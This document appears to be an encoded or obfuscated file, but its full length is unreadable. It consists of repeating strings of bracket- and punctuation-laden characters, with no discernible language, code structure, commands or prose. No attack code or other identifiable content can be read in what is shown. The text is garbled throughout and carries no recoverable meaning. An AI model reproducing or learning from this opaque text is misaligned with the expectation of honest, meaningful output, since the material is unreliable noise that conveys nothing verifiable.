[WSVF hN?VR\YRF^ ZBVZQMT]OE]O[\j \BjCDOETLDWOR?ryzwtyfnWW]YL^QYEQ[YhjRXXM]RM]_ABZnOLX^FPPZQA h?S\B]ZjXGXLWnWW]YL^QYEQ[YhjRXXM]RM]_ABZn\BjCDOETLDWORh?\S\BjCDOETLDWOR jRXXM]RM]_ABZnOLX^FPPZQAh\RGWQZ[WSVF VR\YRF^ ZBVN?]PGX\A\T[C\F\AZG??_OjYYOOALOTGQB[^XC\BjCDOETLDWORjRXXM]RM]_ABZnWW]YL^QYEQ[Yh\BjCDOETLDWOR?G_Q]DCDE@\^G@^R@?H?@[FPAVR\YRF^ ZBV???H?Q@CXXQ[\FFPAjRXXM]RM]_ABZn\BjCDOETLDWORhWW]YL^QYEQ[YjRXXM]RM]_ABZn\BjCDOETLDWORh
jRXXM]RM]_ABZnOLX^FPPZQAhTGGTL???\S\FFPAQ@CXXQ[nOLX^FPPZQAhWW]YL^QYEQ[YQ@CXXQ[nWW]YL^QYEQ[YhN?\S\BjCDOETLDWOR  Q@CXXQ[nOLX^FPPZQAhMMSN????ryzwtyfn\BjCDOETLDWORhQ@CXXQ[nOLX^FPPZQAh?S\B]ZjXGXLWnWW]YL^QYEQ[YhQ@CXXQ[nWW]YL^QYEQ[Yh?HPYFPN???ryzwtyfnOLX^FPPZQAh?S\B]ZjXGXLWn\BjCDOETLDWORh?_OjYYOOALOTGQB[^XCOLX^FPPZQA\RGWQZ[WSVF???H?H?\S\FFPAQ@CXXQ[nOLX^FPPZQAhWW]YL^QYEQ[YQ@CXXQ[nWW]YL^QYEQ[YhN?\SWW]YL^QYEQ[Y  Q@CXXQ[nWW]YL^QYEQ[YhN?ryzwtyfn\RGWQZ[WSVFhQ@CXXQ[n\RGWQZ[WSVFh?S\B]ZjXGXLWn\BjCDOETLDWORhQ@CXXQ[nWW]YL^QYEQ[Yh?HPYFPN?ryzwtyfnWW]YL^QYEQ[Yh?S\B]ZjXGXLWnOLX^FPPZQAh?_OjYYOOALOTGQB[^XCWW]YL^QYEQ[YWW]YL^QYEQ[Y??H?H?CP@XT[XORj \FFPAjRXXM]RM]_ABZn\BjCDOETLDWOR h\BjCDOETLDWORjRXXM]RM]_ABZn\RGWQZ[WSVFh
jRXXM]RM]_ABZn\RGWQZ[WSVFhTGGTL?CAF]WDTWLVVTGGTL?OLX^FPPZQAWW]YL^QYEQ[Y?WW]YL^QYEQ[Y\RGWQZ[WSVF??\BjCDOETLDWORWW]YL^QYEQ[Y?\RGWQZ[WSVFWW]YL^QYEQ[Y?\RGWQZ[WSVF \BjCDOETLDWOR?\BjCDOETLDWOROLX^FPPZQA?WW]YL^QYEQ[Y\RGWQZ[WSVF???WW]YL^QYEQ[YWW]YL^QYEQ[Y??SZGPTV]CAF]WDTWLVVTFC_T\jWGSCDYZADXAP_N?\S\FFPACP@XT[XORj nC_T\jWGSh\RGWQZ[WSVFCP@XT[XORj nC_T\jWGShWW]YL^QYEQ[Y  CP@XT[XORj nC_T\jWGShk N?S\B]ZjXGXLWnCDYZADXAP_hCP@XT[XORj nC_T\jWGSh?H?H?\S\FFPAjRXXM]RM]_ABZnWW]YL^QYEQ[Y hWW]YL^QYEQ[YjRXXM]RM]_ABZnOLX^FPPZQA hN??CQ]Y\ @C@YV\[AjRXXM]RM]_ABZn\RGWQZ[WSVF h?\SCQ]Y\ @C@YV  CQ]Y\ @C@YV	MSSMS\B]ZjXGXLWn\RGWQZ[WSVF hCQ]Y\ @C@YV?H?\S\FFPAjRXXM]RM]_ABZn\BjCDOETLDWORhOLX^FPPZQAjRXXM]RM]_ABZn\BjCDOETLDWORhN?jV\\[AjRXXM]RM]_ABZn\RGWQZ[WSVF h?\SjV\jV\	  S\B]ZjXGXLWnWW]YL^QYEQ[YhjV\?H?\SPXEALS\B]ZjXGXLWN?QPYPAPjZEA\Z[\RGWQZ[WSVF?QPYPAPjZEA\Z[\BjCDOETLDWOR?@EQTAPjZEA\Z[\BjCDOETLDWOR\RGWQZ[WSVF?QPYPAPjAGT[F\P[AWW]YL^QYEQ[Y???OYRXEQV@BB_ OTZ^AjBQTA^Q\ LSQ jBQTA^Q\????Y^SCWV\RDVV VF?GPA@G[?H?????@GZC@Q]B]AT]\FS[jCQDGT^CM@\BjCDOETLDWORSTYFP???\SOLX^FPPZQA@GZC@Q]B]AN?S\B]ZjXGXLWWW]YL^QYEQ[Y@GZC@Q]B]AS\B]ZjXGXLWC]XXVZBYe}ej|{ajxtme}ej|{ajxtmQ[LDZOS_EC]XXVZBY?H??\S\BjCDOETLDWOR\RGWQZ[WSVF N?GXDMDC[\Q_OO ^]P MZD^\[\BD???\S\FFPAS\B]ZjXGXLWn\BjCDOETLDWOR h\[AS\B]ZjXGXLWnWW]YL^QYEQ[Y h\[AS\B]ZjXGXLWnOLX^FPPZQA h	GXDMDC[\Q_OO ^\[AS\B]ZjXGXLWn\RGWQZ[WSVF h??FPAjAGT[F\P[ATFFGjR\  O\^FDS\B]ZjXGXLWGXDMDC[\Q_OO ^?H??BM^A]TS\BjCDOETLDWOR S\B]ZjXGXLWWW]YL^QYEQ[Y ???\S\FFPAS\B]ZjXGXLWn\RGWQZ[WSVF h\RGWQZ[WSVF\RGWQZ[WSVF \RGWQZ[WSVFWW]YL^QYEQ[Y  \RGWQZ[WSVF\BjCDOETLDWORN?_TDQCGV^BC]MD]XBEjRPAjFV]PQ@YPQjPCP[AO[BXODBGCP?\S_TDQCGV^BC]MD]X\[A_TDQCGV^BC]MD]X\[APGCTY\[AS\B]ZjXGXLWnWW]YL^QYEQ[Y hN??BEjVYPTGjFV]PQ@YPQj]ZZ^O[BXODBGCP?BEjFV]PQ@YPjPCP[A\BjCDOETLDWOROLX^FPPZQAkWW]YL^QYEQ[YO[BXODBGCP?H?H?@EQTAPjZEA\Z[\BjCDOETLDWORWW]YL^QYEQ[Y ?QPYPAPjZEA\Z[\RGWQZ[WSVF ?QPYPAPjZEA\Z[\BjCDOETLDWOR?QPYPAPjAGT[F\P[AOLX^FPPZQA?OYRXEQV@BB_ OTZ^A?Y^SCWV\RDVV VF?????\S]WZFM]WN?E G_L_V_@COCGOT_Sj?H?HVTAV]a]GZBTWYPYA[E WAjN?QPTYYZVTAPVZCTG\T[ASZGbegpfate|C??Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y YA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?HS\[TYYLN?R F]XTZW\LVGWW]YL^QYEQ[Y ?H?H??????S@[VA\Z[X^TLL]ELC_EL]@TPjFTQEWG\\]O@O@^_[LOTGGXDMSTYFP?N?\SVX\_MQ  YSX[B\RGWQZ[WSVF GPA@G[?AGLN??R[ ]^WMRDAuOLX^FPPZQATPjFTQEWAG@P?\S\BjCDOETLDWORR[ ]^WMRDAWW]YL^QYEQ[Y  R[ ]^WMRDAMMPR[ ]^WMRDA_Bj\F\@\] _^_PR[ ]^WMRDA?\SR[ ]^WMRDAII\RGWQZ[WSVF  R[ ]^WMRDA	IIWW]YL^QYEQ[YR[ ]^WMRDAWW]YL^QYEQ[YN?GPA@G[?H?\SCOQ [GQ\DVjWVOW@R[ ]^WMRDAN?Z^MWjQGV^@FQTLY@OLX^FPPZQA\RGWQZ[WSVF?GPA@G[?H?\S\BjCDOETLDWOROLX^FPPZQAWW]YL^QYEQ[YR[ ]^WMRDAEES SVLFZOBN?\SG\\]O@O@^_[G\\]O@O@^_[EES SVLFZOBnhN?Z^MWjQGV^@FQTLY@\RGWQZ[WSVF \RGWQZ[WSVFAL@S^L EMOZ  VXYGRFOLYYAL@S^L EMOZ?GPA@G[?H?G\\]O@O@^_[EES SVLFZOBnh???HPYFPN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y \BjCDOETLDWOR?GPA@G[?H???\SLOTGGXDMCPGF\Z[jVZXETGPG\\]O@O@^_[BRW^TOAOBRZT[TBSA	N?GPA@G[?H???[ @V\[MTDFYQPOMML[MC\GXB??\S[ @V\[MTDFYQIIWW]YL^QYEQ[Y  [ @V\[MTDFYQ	N?Z^MWjQGV^@FQTLY@\BjCDOETLDWOR OLX^FPPZQA?GPA@G[???H?jFXBY@D@F@ YDRPAjZEA\Z[WW]YL^QYEQ[Y?\SWW]YL^QYEQ[YjFXBY@D@F@ YDOLX^FPPZQAjFXBY@D@F@ YD\BjCDOETLDWOR R[ ]^WMRDAIN?T  AGVYW_F[\[A\BjCDOETLDWORjFXBY@D@F@ YDOLX^FPPZQAjFXBY@D@F@ YDI?\S\BjCDOETLDWOR T  AGVYW_F[	  N??GPA@G[?H?H?QDWMWWF\R@ \RGWQZ[WSVFGFWPOXCWW]YL^QYEQ[Y \BjCDOETLDWOR R[ ]^WMRDA?\SuWW]YL^QYEQ[Y QDWMWWF\R@ N?Lj\CF\LBu\[AWW]YL^QYEQ[YQDWMWWF\R@ ?\SLj\CF\LBWW]YL^QYEQ[YLj\CF\LB	 N?GPA@G[?H??u\RGWQZ[WSVFQDWMWWF\R@ ?H?@[FPAQDWMWWF\R@ Lj\CF\LB?WZT_@ZX]GCDSTYFP?\S\BjCDOETLDWOR\BjCDOETLDWOR \RGWQZ[WSVFWW]YL^QYEQ[YN?LPMDLSGABCA^OLX^FPPZQA ]ZXPj@GYTGGTL\BjCDOETLDWORWW]YL^QYEQ[YWW]YL^QYEQ[YSTYFP?\SWW]YL^QYEQ[Y \BjCDOETLDWOR\FjBEjPGGZGLPMDLSGABCA^N?WZT_@ZX]GCD\[ABEjGPXZAPjGPAG\PCPjGPFEZ[FPjVZQPLPMDLSGABCA^?H?uTBT\AGPFZYCPG???H?VZXE\YPVZXEZF\APSZGgPVAZGT@AZGPSTVAZG??TR@M][XXSTYFPY@GDZDYFe}ejxtzgjcpgf|z{YDM[ XG[Y@GDZDYF?\S\RGWQZ[WSVF\RGWQZ[WSVFN?uQPTVA\CTAPA@XWY\[RB\[QZB??\LOGR[FQ_XRPAjZEA\Z[WW]YL^QYEQ[YTGGTL????TR@M][XX\RGWQZ[WSVF\LOGR[FQ_XWW]YL^QYEQ[YDB]G OWSOTG\LOGR[FQ_XAG@P?H?DDAPGjYE_B@SFOFC\VPGFWPOXC?\SFWDSWO@V[[ CFM_\MEGFWPOXCASXDZZS^@LTP^ Z[BR[ ]^WMRDAN?Z^MWjQGV^@FQTLY@\RGWQZ[WSVF OLX^FPPZQA?GPA@G[?H?YTS^L]AS]jTGFWPOXC?[W[[MYZS@M^M[YLGFWPOXC?\SWW]YL^QYEQ[Y\BjCDOETLDWORuFPAjAGT[F\P[A\RGWQZ[WSVFFSGE]DZEVL\ O[OOEOV^Y[EGFSGE]DZEVL\
FSGE]DZEVL\FSGE]DZEVL\?\SWZT_@ZX]GCD\BjCDOETLDWORWW]YL^QYEQ[Y \BjCDOETLDWOR\BjCDOETLDWORN?AWX ALZ@YVE?SZGQBLGBRD\DQBLGBRD\D	QBLGBRD\DN?\QA_GCYB_A[OLOLX^FPPZQA]ZXPj@GYWW]YL^QYEQ[Y \RGWQZ[WSVFTGGTLWW]YL^QYEQ[Y		WW]YL^QYEQ[Y\RGWQZ[WSVFSTYFP?\SOLX^FPPZQAWW]YL^QYEQ[Y\FjBEjPGGZG\QA_GCYB_A[OLN?\SQBLGBRD\D\BjCDOETLDWOR\RGWQZ[WSVFOLX^FPPZQA?VZ[A\[@P?H?T^B__RYREERX\[ABEjGPXZAPjGPAG\PCPjGPFEZ[FPjVZQP\QA_GCYB_A[OL?\ST^B__RYREERX	IIWW]YL^QYEQ[YT^B__RYREERXTGGTL     MMAG@PN????\SQBLGBRD\D\BjCDOETLDWOROLX^FPPZQA\BjCDOETLDWOR?VZ[A\[@P?H?AWX ALZ@YVET^B__RYREERX?WGPT^?H?bew@AAZ[wYZV^B\QRPAGP[QPG??\SAWX ALZ@YVEAWX ALZ@YVE?\SAWX ALZ@YVEN?@DSG @TBGLAFWDSWO@V[[ CFM_\MEGFWPOXCASXDZZS^@LTP^ Z[B[ @V\[MTDFYQ?\S@DSG @TBGLA@DSG @TBGLAFWDSWO@V[[ CFM_\MEGFWPOXC[ @V\[MTDFYQ?@EQTAPjZEA\Z[\BjCDOETLDWOR\BjCDOETLDWOR R[ ]^WMRDAIOLX^FPPZQAWW]YL^QYEQ[Y?\S@DSG @TBGLAN?Z^MWjQGV^@FQTLY@\BjCDOETLDWOROLX^FPPZQAAWX ALZ@YVE?GPA@G[?H?[W[[MYZS@M^M[YLGFWPOXC?YTS^L]AS]jTGFWPOXC?POMML[MC\GXBAG@P????MATGYR_DOADBF\AAG@P?]B@@MOQ LDG\RGWQZ[WSVF GFWPOXCOLX^FPPZQA ?SZGPTV]TGGTL\RGWQZ[WSVFGFWPOXC@jVTZ[PZCCL^FZ]A[TF\AD FSVEMA]MN??uWW]YL^QYEQ[Y\AD FSVEMA]MOLX^FPPZQA]B@@MOQ LDG?uWW]YL^QYEQ[Y\AD FSVEMA]MWW]YL^QYEQ[Y]B@@MOQ LDGBj@EF]@[ OY OQ _Q^VF^\Bj@EF]@[ OY???H?CPVAZG\OPEGPFVG\EA\CPEG\ZG\ALD@P@P??\STR@M][XXTTL@CGjOTW[OPXOLX^FPPZQA\RGWQZ[WSVF N?CTQTjZYOBRPAjZEA\Z[WW]YL^QYEQ[YTGGTL???\S\BjCDOETLDWOR CTQTjZYOBWW]YL^QYEQ[YDB]G OWSOTGCTQTjZYOBAG@PN?CTQTjZYOBnhDB]G OWSOTG?u@EQTAPjZEA\Z[OLX^FPPZQACTQTjZYOB?H?H?ryzwtyfnOLX^FPPZQAh?Y^SCWV\RDVV VF?Z^MWjQGV^@FQTLY@\BjCDOETLDWOR\BjCDOETLDWORAWX ALZ@YVE?GPA@G[??H?H?\SG\\]O@O@^_[N?ryzwtyfnWW]YL^QYEQ[YhG\\]O@O@^_[????ZBFRXT][B^GFWPOXCG\\]O@O@^_[?H?\SLOTGGXDMN?O@ XGO[\CWW]YL^QYEQ[Y GFWPOXCOLX^FPPZQA ?SZGPTV]TGGTLOLX^FPPZQAGFWPOXC@jVTZ[PZCCL^FZ]A[TF\[XG YQGA\SN?u\BjCDOETLDWOR\[XG YQGA\S\RGWQZ[WSVFO@ XGO[\C?H?@[FPAO@ XGO[\C\[XG YQGA\S?H?_OjYYOOALOTGQB[^XC\RGWQZ[WSVFR[ ]^WMRDA\BjCDOETLDWOR?POMML[MC\GXBAG@P?MATGYR_DOADBF\AAG@P?ryzwtyfn\BjCDOETLDWORh?Y^SCWV\RDVV VF?DDAPGjYE_B@SFOFC\VPGFWPOXC?\S[W[[MYZS@M^M[YLGFWPOXCP_Y^QVA^YGFWPOXC?@EQTAPjZEA\Z[\RGWQZ[WSVFG\\]O@O@^_[IOLX^FPPZQAWW]YL^QYEQ[Y?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@OLX^FPPZQAYA[E WAj????HVTAV]pMVPEA\Z[YA[E WAjN?QPFPG\TY\OPC\F\AZGSZGgPVAZGT@AZGPSTVAZG??HS\[TYYLN?R F]XTZW\LVGOLX^FPPZQA??H?H?S@[VA\Z[VRF@_LF[YO?N?AGTVPWG\QRPSZGbewYZV^vZ[AGZYF????\SQPS\[PQOLX^FPPZQAII\RGWQZ[WSVFOLX^FPPZQAN?FEPV\TY\OPST\A]S@YBG\APT]PTQYZR??\S\RGWQZ[WSVFtwfeta}OLX^FPPZQA N?bZGQeGPFFETAAPG[FFTA\FS\TWYPFY\Q\[RB\[QZB??GPD@\GPjZ[VPtwfeta}\RGWQZ[WSVF [BGLMPMXGMWWM ADT[PVPGX VDX[BGLMPMXG?H?\S\BjCDOETLDWOR\BjCDOETLDWORN?e}e\[APGFPVA\Z[GPYTMPQ\[APGEGPAPG?????GPA@G[?H?uEGZETRTAPVZ[FAQPTQYPAAPG??H?VYPT[PGTVA\Z[??DERTVjRPAjEY@R\[F?\SWW]YL^QYEQ[Y DERTVjN??GPA@G[??H?Y\FATGGTL?SZGPTV]DERTVjTFWTFP[TXPBT]jLA@LZBFFAN?\SWTFP[TXPDB]G OWSOTGN?VZ[A\[@P?H?Y\FAnWTFP[TXPhBT]jLA@LZBFFA???H?GPA@G[Y\FA???H?S@[VA\Z[FE]GWEWF@EVZYBOMPYTZCQ\MZPL_ZCPMD?N?AG\EVZ@[A?????CR\AP E]FjM]uWW]YL^QYEQ[Y VZYBOMPYTZSTYFP[@YYMTM P?\SCR\AP E]FjM]N?GPA@G[STYFP?H???SZGPTV]CQ\MZPL_ZCPMDTFF\PjjM jPVN??\SWW]YL^QYEQ[YF\PjjM jPVIIF\PjjM jPVIIOLX^FPPZQA  F\PjjM jPVMT M TN?VZ[A\[@P????H???AGLN????C_ FX[SEuOLX^FPPZQAF\PjjM jPVCR\AP E]FjM]?HVTAV]a]GZBTWYPE@PW@LMDPZROYSN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YE@PW@LMDPZROYS?VZ[A\[@P?HVTAV]pMVPEA\Z[E@PW@LMDPZROYSN???VZ[A\[@P?H??\SC_ FX[SEN?GPA@G[AG@P?H?\FZXPAG\VE\EPY\[P??H?GPA@G[STYFP??H??S@[VA\Z[A]_ MWEFLQEY@R\[jWTFP[TXP???N?CQ\MZPL_ZCPMDryzwtyfnWW]YL^QYEQ[Yh?\SOLX^FPPZQA CQ\MZPL_ZCPMDIIPXEALCQ\MZPL_ZCPMDN??GPA@G[STYFP?H?\SQPS\[PQ\RGWQZ[WSVFIIPXEALEY@R\[jWTFP[TXPIIOLX^FPPZQAEY@R\[jWTFP[TXPOLX^FPPZQASTYFPN?GPA@G[STYFP?H??[YM^_VPbejey`r|{jq|gEY@R\[jWTFP[TXP????\SOLX^FPPZQAEY@R\[jWTFP[TXPN?MjP\XTPBMPTGGTL[YM^_VP?HPYFPN?GE^Y^@VF\RGWQZ[WSVF[YM^_VP?\SWW]YL^QYEQ[Y GE^Y^@VFII\RGWQZ[WSVFGE^Y^@VFN?GPA@G[STYFP?H?MjP\XTPBMP_M[ZjGGRPPPP^MSGE^Y^@VFTGGTL\BjCDOETLDWOR\RGWQZ[WSVFOLX^FPPZQA\BjCDOETLDWOR \RGWQZ[WSVF?H?????SZGPTV]MjP\XTPBMPTFVZYBOMPYTZN??\SWW]YL^QYEQ[YVZYBOMPYTZN??VZ[A\[@P?H?bewYZV^vZ[AGZYFVZCTG\T[ATQ_EGZAZALEP??\SFE]GWEWF@EVZYBOMPYTZCQ\MZPL_ZCPMDN?GPA@G[AG@P?H?uFE\YYXPQ\TAZG??H?GPA@G[STYFP?H?S@[VA\Z[_M[ZjGGRPPPP^MSGE^Y^@VFTV]\jZ\O@jFYAEPAj@@OSjV]GQE_PZR@FC\[@YYZAjZ@ W RTV[@YY?N?Y\FATGGTL??\SPAj@@OSjV]GMM N????GPA@G[Y\FA?H?\SQE_PZR@FC\[@YYN?QE_PZR@FC\TGGTL?ZAjZ@ W RTV\BjCDOETLDWORAG@PMM?H????\SOLX^FPPZQAAG@PZAjZ@ W RTVN?GPA@G[Y\FA?H??\SWW]YL^QYEQ[Y GE^Y^@VFN?TAZX\VGPTQ??GPA@G[Y\FA?H?W XQVWZWOuWW]YL^QYEQ[Y GE^Y^@VF?\SW XQVWZWOSTYFPN?\S\FFPAQE_PZR@FC\nW XQVWZWOhN?GPA@G[Y\FA?H?QE_PZR@FC\nW XQVWZWOhAG@P???H??BTQBQOC[D__j@F@][ P]F]TFD^@GE^Y^@VF?\S\RGWQZ[WSVFBTQBQOC[D__jN?GPA@G[Y\FA??H?SZGPTV]BTQBQOC[D__jTFORQTVW[A SLN?\SWW]YL^QYEQ[YAG@PZAjZ@ W RTVII\RGWQZ[WSVFY\FAN?WGPT^?H?[YM^_VPGE^Y^@VFORQTVW[A SL????\Su\RGWQZ[WSVF[YM^_VPN?VZ[A\[@P?H??\SuOLX^FPPZQA [YM^_VPN?Y\FAOLX^FPPZQAY\FA_M[ZjGGRPPPP^MS[YM^_VPTV]\jZ\O@jFYAEPAj@@OSjV]GQE_PZR@FC\ZAjZ@ W RTV?HPYFP\Su\BjCDOETLDWOR[YM^_VPN?L]BMBO[\BjCDOETLDWOR[YM^_VPVZ[FAT[AOLX^FPPZQA?L]BMBO[WW]YL^QYEQ[YL]BMBO[
OLX^FPPZQAL]BMBO[?\S\RGWQZ[WSVFL]BMBO[TV]\jZ\O@jFYAEAG@PN?Y\FAnh[YM^_VPFAY_^D@_YLSYALFAY_^?H?H?H?GPA@G[Y\FA?H??S@[VA\Z[^QP@RXDQGAQL[OEY@R\[jWTFP[TXP?N??\S\RGWQZ[WSVFEY@R\[jWTFP[TXPIIEY@R\[jWTFP[TXPN????GPA@G[STYFP?H?\SWW]YL^QYEQ[YEY@R\[jWTFP[TXP\RGWQZ[WSVFSTYFPN?GPA@G[STYFP?H??EY@R\[jWTFP[TXPOLX^FPPZQAEY@R\[jWTFP[TXP?\SEY@R\[jWTFP[TXPDB]G OWSOTGN????GPA@G[STYFP?H?????\SWW]YL^QYEQ[YOLX^FPPZQA WW]YL^QYEQ[Ytwfeta}\RGWQZ[WSVFN?GPD@\GPjZ[VPtwfeta}WW]YL^QYEQ[Y?H??\S\BjCDOETLDWOROLX^FPPZQA \FjEY@R\[jTVA\CPEY@R\[jWTFP[TXPN?QPTVA\CTAPjEY@R\[FTGGTLEY@R\[jWTFP[TXPAG@P?H??GE^Y^@VFQPS\[PQ\RGWQZ[WSVF
bejey`r|{jq|gWW]YL^QYEQ[YEY@R\[jWTFP[TXP???\SGE^Y^@VFWW]YL^QYEQ[YGE^Y^@VFOLX^FPPZQAEY@R\[jWTFP[TXP\BjCDOETLDWOREY@R\[jWTFP[TXPN?\S@\_@FQLj C@R_jGE^Y^@VFN?GPA@G[AG@P????H?H??\S\RGWQZ[WSVF\RGWQZ[WSVFN??\S\BjCDOETLDWORWW]YL^QYEQ[YIIV@GGP[Aj@FPGjVT[\BjCDOETLDWORN?ETGA\A\Z[EG\ZG\ALD@P@PSZGbeeTRPy\FA??\S\RGWQZ[WSVF\BjCDOETLDWOR\RGWQZ[WSVF\RGWQZ[WSVFN??@FPGFRPAj@FPGFTGGTL\BjCDOETLDWOR\RGWQZ[WSVF WW]YL^QYEQ[Y?\SPXEAL@FPGF@FPGFnh|qN?\BjCDOETLDWOR@FPGFnh|q?HPYFPN???\RGWQZ[WSVF?H?H?H??XPWBB_TP FD[QPYPAPjEY@R\[FTGGTLEY@R\[jWTFP[TXP?\S\FjBEjPGGZGXPWBB_TP FD[N???GPA@G[WZZYXPWBB_TP FD[?H?H?GPA@G[STYFP?H??S@[VA\Z[@\_@FQLj C@R_jGE^Y^@VFPAj@@OSjV]G?N?\SPAj@@OSjV]GNEFVYAjPje}ejxtzgjcpgf|z{GXXQLY]ABAEFVYAjPj?GPA@G[STYFP?H???\S\BjCDOETLDWORGE^Y^@VFIIGE^Y^@VFII\BjCDOETLDWORGE^Y^@VFWW]YL^QYEQ[YSTYFPN?GPA@G[STYFP?H???C_RZRZXXFMu\RGWQZ[WSVFGE^Y^@VF?\SC_RZRZXXFMSTYFPII\BjCDOETLDWORC_RZRZXXFMN[EYT\S^XLFFGBFM[EYT\S^X?GPA@G[STYFP?H?L^[]_[XQQZXQPS\[PQ\RGWQZ[WSVF
u\BjCDOETLDWORbejey`r|{jq|gSTYFP?\SL^[]_[XQQZXSTYFPIIC_RZRZXXFML^[]_[XQQZX\RGWQZ[WSVFC_RZRZXXFML^[]_[XQQZXq|gpvazgljfpetgtazgN?GPA@G[STYFPWYDjDSMMWX\]BF_WYDjDS?H?B_[QZFEGEu\RGWQZ[WSVF C_RZRZXXFM?\SWW]YL^QYEQ[YB_[QZFEGEN?GPA@G[STYFP?H?SZGPTV]B_[QZFEGETF]Y]SFj SN???\S]Y]SFj SII]Y]SFj S\BjCDOETLDWORN?VZ[A\[@P?H?[YM^_VPC_RZRZXXFMVZ[FAT[A\BjCDOETLDWOR]Y]SFj S?\Su\BjCDOETLDWOR[YM^_VPN?\LYGF@GDVCLPD[[YM^_VP?VZ[A\[@P?H?PMTVAGPAGLEZY\VL???\SuWW]YL^QYEQ[Y[YM^_VPN?@\_@FQLj C@R_j[YM^_VPPAj@@OSjV]G????HPYFPNRR\TBDWMWM TEMMW][\XRR\TBDW?\S\LYGF@GDVCLPD[[YM^_VPN?DDAPGjYE_B@SFOFC\VP[YM^_VPM SM ?\LYGF@GDVCLPD[[YM^_VP?H?H?H?\SuOLX^FPPZQAC_RZRZXXFMN?DDAPGjYE_B@SFOFC\VPC_RZRZXXFM??u\BjCDOETLDWORC_RZRZXXFM?H?be@FPp[A\ALgPVZGQFTVD@\GPGPAGLEZY\VL??GPA@G[uWW]YL^QYEQ[YC_RZRZXXFM?H???S@[VA\Z[E G_L_V_@COCGOT_Sj?N??AGLN?Y\FAVRF@_LF[YO?\SWW]YL^QYEQ[YY\FAN?GPA@G[?H?????\[OFD\_YVFETGGTL?PVj^GQOZQ \R^STYFP?SZGPTV]OLX^FPPZQAY\FATFWTFP[TXPN?bZGQeGPFFVZXXT[QFWTAV]F^\EY\FA???\S\RGWQZ[WSVFWTFP[TXPN????VZ[A\[@P???H??MjYOCYQGS\BjCDOETLDWORWTFP[TXP?\SMjYOCYQGSN?MjYOCYQGSWTFP[TXP?H?\S\FFPA\[OFD\_YVFEnMjYOCYQGShN?VZ[A\[@P?H??\[OFD\_YVFEnMjYOCYQGShAG@P?\SA]_ MWEFLQWTFP[TXPN?^QP@RXDQGAQL[OWTFP[TXP?PVj^GQOZQ \R^AG@P?H?H??\Su\BjCDOETLDWOR @jVTZ[PZCCL^FZ]A[NGAO V[^TLPEG^FYE]DGAO V[^T?[B@WTMX@F@][ P]F]TFD^@@jVTZ[PZCCL^FZ]A[?\S\RGWQZ[WSVF[B@WTMXN?CQ\MZPL_ZCPMDryzwtyfn\BjCDOETLDWORh????SZGPTV][B@WTMXTFORQTVW[A SLN??\SORQTVW[A SL\^F] R@M @LM\YDVLN?VZ[A\[@P?H?be|[APGTVA\C\ALte|TFEPVAGTA\Z???VZYBOMPYTZ@jVTZ[PZCCL^FZ]A[ORQTVW[A SL?\SuOLX^FPPZQAVZYBOMPYTZIIWW]YL^QYEQ[YWW]YL^QYEQ[YORQTVW[A SLVZ[FAT[AOLX^FPPZQA\BjCDOETLDWORN?VZ[A\[@P??H???\SFE]GWEWF@EVZYBOMPYTZCQ\MZPL_ZCPMDN?\LYGF@GDVCLPD[VZYBOMPYTZ?PVj^GQOZQ \R^AG@P???H???H?H?H??SX@ PFCVDAYryzwtyfn\RGWQZ[WSVFh?\SOLX^FPPZQASX@ PFCVDAYPXEALSX@ PFCVDAYN?gPVAZGT@AZGPSTVAZGF\APXPAT??\SGLOA\M [VW]GEjSX@ PFCVDAYN????PVj^GQOZQ \R^AG@P?H?H?HVTAV]a]GZBTWYPYA[E WAjN?uQPGPR\FAPGPSSPVAALEP??Z^MWjQGV^@FQTLY@OLX^FPPZQAYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?H???S@[VA\Z[EXCLA\GWM^LTY@?N?EGZETRTAPVZ[FARP[PGTYGPV@GF\CPVZYYPVAZG????AGLN?\]WXBYT BERX@O\[ARPAjZEA\Z[OLX^FPPZQA ?\SOLX^FPPZQA\]WXBYT BERX@O N?@EQTAPjZEA\Z[\RGWQZ[WSVF \BjCDOETLDWOR ?ACD@AC@]V@TGGTLTGGTL[YPWDY^CR\Q\@ TGGTLOLX^FPPZQA ?L[TG_[ECWW]YL^QYEQ[Y WW]YL^QYEQ[Y
WW]YL^QYEQ[Y????\SL[TG_[ECL[TG_[EC[YPWDY^CR\Q\@ ACD@AC@]V@nhTGGTLL[TG_[ECTGGTL\RGWQZ[WSVF \RGWQZ[WSVF  ?SZGPTV]ACD@AC@]V@TF@ZDEXDL^LN?tev@F]XgpfaVZ[AGZYYPG??SZGPTV]@ZDEXDL^LnhTFBROMB[[ j]N?GWGFPOCBFY]\RGWQZ[WSVF \RGWQZ[WSVF 
uWW]YL^QYEQ[Y @ZDEXDL^LnhBROMB[[ j]STYFP?\S\RGWQZ[WSVFGWGFPOCBFY]VZ[A\[@P?????SZGPTV]GWGFPOCBFY]TFM]E TM_^N?\SuOLX^FPPZQA M]E TM_^VZ[A\[@P?FRL_VDFZuOLX^FPPZQAM]E TM_^????\SFRL_VDFZSTYFPWW]YL^QYEQ[Y FRL_VDFZ\LYGF@GDVCLPD[M]E TM_^?H??H?H?\LOGR[FQ_XRPAjZEA\Z[OLX^FPPZQATGGTL?\SWW]YL^QYEQ[Y\LOGR[FQ_X\LOGR[FQ_XTGGTL?_BP [AXS\RGWQZ[WSVF GFWPOXC\BjCDOETLDWOR XZGAME\GXF]DD@T[VGXX\@DVXZGAME\GXF
XZGAME\GXFXZGAME\GXF????jEQQPS\[PQWW]YL^QYEQ[Y
bejvz{ap{ajq|gtwfeta}WW]YL^QYEQ[Y \RGWQZ[WSVF?SZGPTV]\RGWQZ[WSVF OLX^FPPZQA 
